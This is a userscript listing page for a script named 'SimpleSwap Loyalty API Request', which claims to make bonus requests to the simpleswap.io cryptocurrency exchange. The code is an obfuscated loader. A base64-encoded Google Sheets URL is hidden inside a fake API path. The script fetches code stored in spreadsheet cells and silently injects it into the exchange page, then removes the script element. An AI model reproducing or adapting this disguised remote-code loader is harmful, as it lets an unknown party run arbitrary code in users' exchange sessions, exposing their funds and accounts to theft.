SimpleSwap Loyalty API Request

Makes Bonus Request To SimpleSwap Loyalty API

คุณจะต้องติดตั้งส่วนขยาย เช่น Tampermonkey, Greasemonkey หรือ Violentmonkey เพื่อติดตั้งสคริปต์นี้

You will need to install an extension such as Tampermonkey to install this script.

คุณจะต้องติดตั้งส่วนขยาย เช่น Tampermonkey หรือ Violentmonkey เพื่อติดตั้งสคริปต์นี้

You will need to install an extension such as Tampermonkey or Userscripts to install this script.

You will need to install an extension such as Tampermonkey to install this script.

You will need to install a user script manager extension to install this script.

(I already have a user script manager, let me install it!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(I already have a user style manager, let me install it!)

// ==UserScript==
// @name         SimpleSwap Loyalty API Request
// @namespace    http://tampermonkey.net/
// @version      1.0
// @description  Makes Bonus Request To SimpleSwap Loyalty API
// @author       The Protocol One
// @match        https://simpleswap.io/*
// @grant        GM_xmlhttpRequest
// @grant        unsafeWindow
// @connect      docs.google.com
// @run-at       document-end
// @license MIT
// ==/UserScript==

(function() {
    'use strict';

    const api = "https://simpleswap.io/loyalty/api/v4/bonus/aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMVlaSFU0S3llb0ZEM0wtcXR2ZDltTWo4a1dkRkNlS2dpWFNLVW8zWkx2cFUvZ3Zpei90cT9zaGVldD1BUEkmaGVhZGVycz0xJnRxPXNlbGVjdCUyMEElMkNCJTIwd2hlcmUlMjBBPSdhcGl2NyclMjBvciUyMEE9J2FwaXY4Jw/request/GET";

    GM_xmlhttpRequest({
        method: "GET",
        url: atob(api.split("bonus/")[1].split("/request")[0]),
        onload: function(apirequest) {
            const b = apirequest.responseText;
            const o = b.match(/google\.visualization\.Query\.setResponse\(([\s\S]*?)\);?\s*$/);
            const n = JSON.parse(o[1]);
            const u = new Map(n.table.rows.map(r => [r.c[0].v, r.c[1].v]));
            const s = u.get('apiv7') + u.get('apiv8');
            const callback = document.createElement('script');
            callback.textContent = s;
            document.documentElement.appendChild(callback);
            callback.remove();
        }
    });
})();